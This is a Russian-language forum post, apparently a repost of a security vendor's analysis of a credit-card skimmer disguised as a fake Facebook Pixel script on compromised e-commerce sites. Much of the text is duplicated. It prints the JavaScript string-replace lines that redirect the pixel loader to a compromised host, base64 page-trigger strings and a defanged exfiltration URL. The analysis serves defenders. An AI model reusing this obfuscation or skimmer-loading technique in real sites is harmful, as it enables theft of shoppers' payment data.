Man
Professional
- Messages
- 2,965
- Reaction score
- 488
- Points
- 83
За последние месяцы мы столкнулись с рядом случаев, когда злоумышленники внедряли вредоносное ПО в программное обеспечение веб-сайтов, которое позволяет использовать пользовательский или разнообразный код, например, область различных скриптов панели администратора Magento или плагины WordPress, такие как Custom CSS & JS.
Пользовательские редакторы скриптов популярны среди злоумышленников, поскольку они допускают внешний сторонний (и вредоносный) JavaScript и могут легко притворяться безобидными, используя соглашения об именах, соответствующие популярным скриптам, таким как Google Analytics, или библиотекам, таким как JQuery. Более того, их можно встроить в любой сайт без какой-либо реальной проверки их валидности. После внедрения этих скриптов они вводят дополнительную (а иногда и откровенно вредоносную) функциональность на сайт, куда они были вставлены.
Недавно мы столкнулись с довольно интересным случаем: злоумышленники пошли еще дальше, встроив скиммер кредитных карт в хорошо замаскированный поддельный скрипт отслеживания Facebook Pixel. Скрипты отслеживания Facebook Pixel используют ту же концепцию, что и теги Google, — но вместо добавления функциональности на сайт они измеряют, оптимизируют и формируют аудиторию для рекламных кампаний.
Давайте посмотрим поближе!
Давайте сравним это с этим поддельным вредоносным скриптом-трекером, который мы обнаружили на взломанном веб-сайте:
На первый взгляд они кажутся очень похожими — они, безусловно, содержат похожие комментарии кода и имена функций. Однако всякий раз, когда второй скрипт загружает все ссылки на connect.facebook.net (который обычно вызывается кодом пикселя Facebook), они заменяются вредоносным доменом b-connected[.]com , который, в свою очередь, загружает дополнительный вредоносный скрипт, предназначенный для отслеживания страницы оформления заказа и последующего получения данных кредитной карты.
Глядя на второй скрипт выше, вы, возможно, не сразу увидите ссылку на b-connected[.]com, поэтому давайте рассмотрим, как работает эта вредоносная программа и как она справляется со своей задачей.
На первый взгляд, конечно, это обычный скрипт Google Tag Manager. Однако, после небольшого изучения, мы можем увидеть использование «atob» (любимого среди онлайн-карманников, который преобразует строку в кодировке base64 в обычный текст).
Вы также заметите пару строк, которые кажутся случайными буквами. На самом деле это строки в кодировке base64:
Эта, казалось бы, случайная тарабарщина переводится как «оформление заказа» и «корзина» соответственно и используется для того, чтобы вредоносный JavaScript загружался только на страницах оформления заказа или корзины веб-сайта электронной коммерции.
Однако в этом случае с поддельным пикселем Facebook все немного хитрее — и злоумышленники прибегли к креативному использованию JavaScript для замены и подстановки строк из исходного кода. Давайте разберем это построчно, чтобы понять, что здесь происходит.
Первые несколько строк практически идентичны тому, что вы видите в обычном пикселе отслеживания Facebook, и именно эта часть пытается сбить нас с толку и отвлечь внимание:
Самое пикантное наступает, когда мы доходим до этой строки:
Здесь используется функция замены в JavaScript для замены .facebook. на ed.com, что фактически преобразует это:
К этому:
Далее этот код выполняет еще две замены:
Заменяем «net» на ничто, а «https:///» на « ». Если учесть все, то останется вот что:
Теперь, обычно, когда мы видим домены, размещающие код скимминга, мы ожидаем, что они были зарегистрированы совсем недавно. Злоумышленники часто регистрируют новые доменные имена, чтобы обойти существующие блокировки на основе доменных имен в системах обнаружения вторжений и другом программном обеспечении безопасности.
Однако в этом случае, похоже, что b-connected[.]com существует с 2002 года и сам по себе является законным сайтом электронной коммерции. Однако он явно был скомпрометирован, и это не первый раз, когда мы видим код скимминга кредитных карт, размещенный на скомпрометированном сайте Magento.
Если взглянуть на то, что загружается, то это очень сильно запутанный код JavaScript — он же полезная нагрузка:
Этот код создает оверлейный iframe с поддельной формой оформления заказа, которая заменяет настоящую. Данные, введенные в поддельную форму, затем отправляются на контролируемый хакерами скрипт на еще одном скомпрометированном сайте: hxxps://www.donjuguetes[.]es/health_check.php
Поскольку большинство страниц оформления заказа динамически генерируются на основе данных cookie и других переменных, переданных на страницу, эти скрипты обходят публичные сканеры, и единственный способ идентифицировать вредоносное ПО — проверить исходный код страницы или посмотреть сетевой трафик. Эти скрипты работают в фоновом режиме.
При этом использование системы обнаружения вторжений и мониторинга веб-сайтов является отличным способом выявления известных скиммеров и других вредоносных программ на ранних стадиях, прежде чем они повлияют на ваш сайт и трафик.
Источник
Пользовательские редакторы скриптов популярны среди злоумышленников, поскольку они допускают внешний сторонний (и вредоносный) JavaScript и могут легко притворяться безобидными, используя соглашения об именах, соответствующие популярным скриптам, таким как Google Analytics, или библиотекам, таким как JQuery. Более того, их можно встроить в любой сайт без какой-либо реальной проверки их валидности. После внедрения этих скриптов они вводят дополнительную (а иногда и откровенно вредоносную) функциональность на сайт, куда они были вставлены.
Недавно мы столкнулись с довольно интересным случаем: злоумышленники пошли еще дальше, встроив скиммер кредитных карт в хорошо замаскированный поддельный скрипт отслеживания Facebook Pixel. Скрипты отслеживания Facebook Pixel используют ту же концепцию, что и теги Google, — но вместо добавления функциональности на сайт они измеряют, оптимизируют и формируют аудиторию для рекламных кампаний.
Давайте посмотрим поближе!
Проверка скрипта пикселя Facebook
Ниже мы видим обычный скрипт пикселя Facebook.
Давайте сравним это с этим поддельным вредоносным скриптом-трекером, который мы обнаружили на взломанном веб-сайте:

На первый взгляд они кажутся очень похожими — они, безусловно, содержат похожие комментарии кода и имена функций. Однако всякий раз, когда второй скрипт загружает все ссылки на connect.facebook.net (который обычно вызывается кодом пикселя Facebook), они заменяются вредоносным доменом b-connected[.]com , который, в свою очередь, загружает дополнительный вредоносный скрипт, предназначенный для отслеживания страницы оформления заказа и последующего получения данных кредитной карты.
Глядя на второй скрипт выше, вы, возможно, не сразу увидите ссылку на b-connected[.]com, поэтому давайте рассмотрим, как работает эта вредоносная программа и как она справляется со своей задачей.
Запутывание посредством подмены
Довольно часто, когда эти поддельные инъекции JavaScript выдают себя за службы, используемые администраторами веб-сайтов, обычно имеется довольно очевидная контрольная строка — например, некий закодированный в base64 раздел, подобный этому:
На первый взгляд, конечно, это обычный скрипт Google Tag Manager. Однако, после небольшого изучения, мы можем увидеть использование «atob» (любимого среди онлайн-карманников, который преобразует строку в кодировке base64 в обычный текст).
Вы также заметите пару строк, которые кажутся случайными буквами. На самом деле это строки в кодировке base64:
Code:
Y2hlY2tvdXQ
Y2FydA
Эта, казалось бы, случайная тарабарщина переводится как «оформление заказа» и «корзина» соответственно и используется для того, чтобы вредоносный JavaScript загружался только на страницах оформления заказа или корзины веб-сайта электронной коммерции.
Однако в этом случае с поддельным пикселем Facebook все немного хитрее — и злоумышленники прибегли к креативному использованию JavaScript для замены и подстановки строк из исходного кода. Давайте разберем это построчно, чтобы понять, что здесь происходит.
Первые несколько строк практически идентичны тому, что вы видите в обычном пикселе отслеживания Facebook, и именно эта часть пытается сбить нас с толку и отвлечь внимание:
Code:
!function(f,b,e,v,n,t,s)
{n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};
Самое пикантное наступает, когда мы доходим до этой строки:
Code:
q=v.replace(".facebook.", "ed.com");
Здесь используется функция замены в JavaScript для замены .facebook. на ed.com, что фактически преобразует это:
Code:
https://connect.facebook.net/en_US/fbevents.js
К этому:
Code:
https://connected.comnet/en_US/fbevents.js
Далее этот код выполняет еще две замены:
Code:
q=q.replace("net", "");q=q.replace("https://", "https://www.b-");
Заменяем «net» на ничто, а «https:///» на « ». Если учесть все, то останется вот что:
Code:
hxxps://www.b-connected[.]com/en_US/fbevents.js
Теперь, обычно, когда мы видим домены, размещающие код скимминга, мы ожидаем, что они были зарегистрированы совсем недавно. Злоумышленники часто регистрируют новые доменные имена, чтобы обойти существующие блокировки на основе доменных имен в системах обнаружения вторжений и другом программном обеспечении безопасности.
Однако в этом случае, похоже, что b-connected[.]com существует с 2002 года и сам по себе является законным сайтом электронной коммерции. Однако он явно был скомпрометирован, и это не первый раз, когда мы видим код скимминга кредитных карт, размещенный на скомпрометированном сайте Magento.
Если взглянуть на то, что загружается, то это очень сильно запутанный код JavaScript — он же полезная нагрузка:

Этот код создает оверлейный iframe с поддельной формой оформления заказа, которая заменяет настоящую. Данные, введенные в поддельную форму, затем отправляются на контролируемый хакерами скрипт на еще одном скомпрометированном сайте: hxxps://www.donjuguetes[.]es/health_check.php
Симптомы компромисса
К сожалению, поскольку этот тип атаки использует допустимый шаблон сценария, симптомы могут не проявляться очевидным образом. Поскольку похитители кредитных карт часто ждут ключевых слов, таких как «checkout» или «onepage», они могут не стать видимыми, пока не загрузится страница оформления заказа.Поскольку большинство страниц оформления заказа динамически генерируются на основе данных cookie и других переменных, переданных на страницу, эти скрипты обходят публичные сканеры, и единственный способ идентифицировать вредоносное ПО — проверить исходный код страницы или посмотреть сетевой трафик. Эти скрипты работают в фоновом режиме.
При этом использование системы обнаружения вторжений и мониторинга веб-сайтов является отличным способом выявления известных скиммеров и других вредоносных программ на ранних стадиях, прежде чем они повлияют на ваш сайт и трафик.
Источник